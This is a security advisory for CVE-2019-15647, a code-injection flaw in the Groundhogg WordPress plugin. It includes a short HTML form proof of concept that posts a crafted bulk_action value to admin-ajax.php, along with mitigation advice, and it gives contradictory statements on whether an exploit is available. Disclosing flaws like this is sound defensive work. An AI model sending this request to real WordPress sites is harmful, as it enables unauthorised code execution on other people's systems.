Remote code execution in Groundhogg plugin for WordPress



Published: 2019-08-27 | Updated: 2019-10-25
Risk High
Patch available YES
Number of vulnerabilities 1
CVE-ID CVE-2019-15647
CWE-ID CWE-94
Exploitation vector Network
Public exploit Public exploit code for vulnerability #1 is available.
Vulnerable software
Subscribe 		Groundhogg
Web applications / Modules and components for CMS

Vendor Adrian Tobey

Security Bulletin

This security bulletin contains one high risk vulnerability.

1) Code Injection

EUVDB-ID: #VU22280

Risk: High

CVSSv3.1: 7.9 [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C]

CVE-ID: CVE-2019-15647

CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')

Exploit availability: No

Description

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation in "wp-admin/admin-ajax.php?action=bulk_action_listener" URL. A remote authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

PoC: 

<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php?action=bulk_action_listener" method="POST">
<input type="hidden" name="bulk_action" value="do_feed_rss" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Mitigation

Install updates from vendor's website.

Vulnerable software versions

Groundhogg: 1.0 - 1.3.4

External links

http://wordpress.org/plugins/groundhogg/#developers
http://www.pluginvulnerabilities.com/2019/04/05/our-proactive-monitoring-caught-an-authenticated-remote-code-execution-rce-vulnerability-being-introduced-in-to-groundhogg


Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote authenticated user via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.



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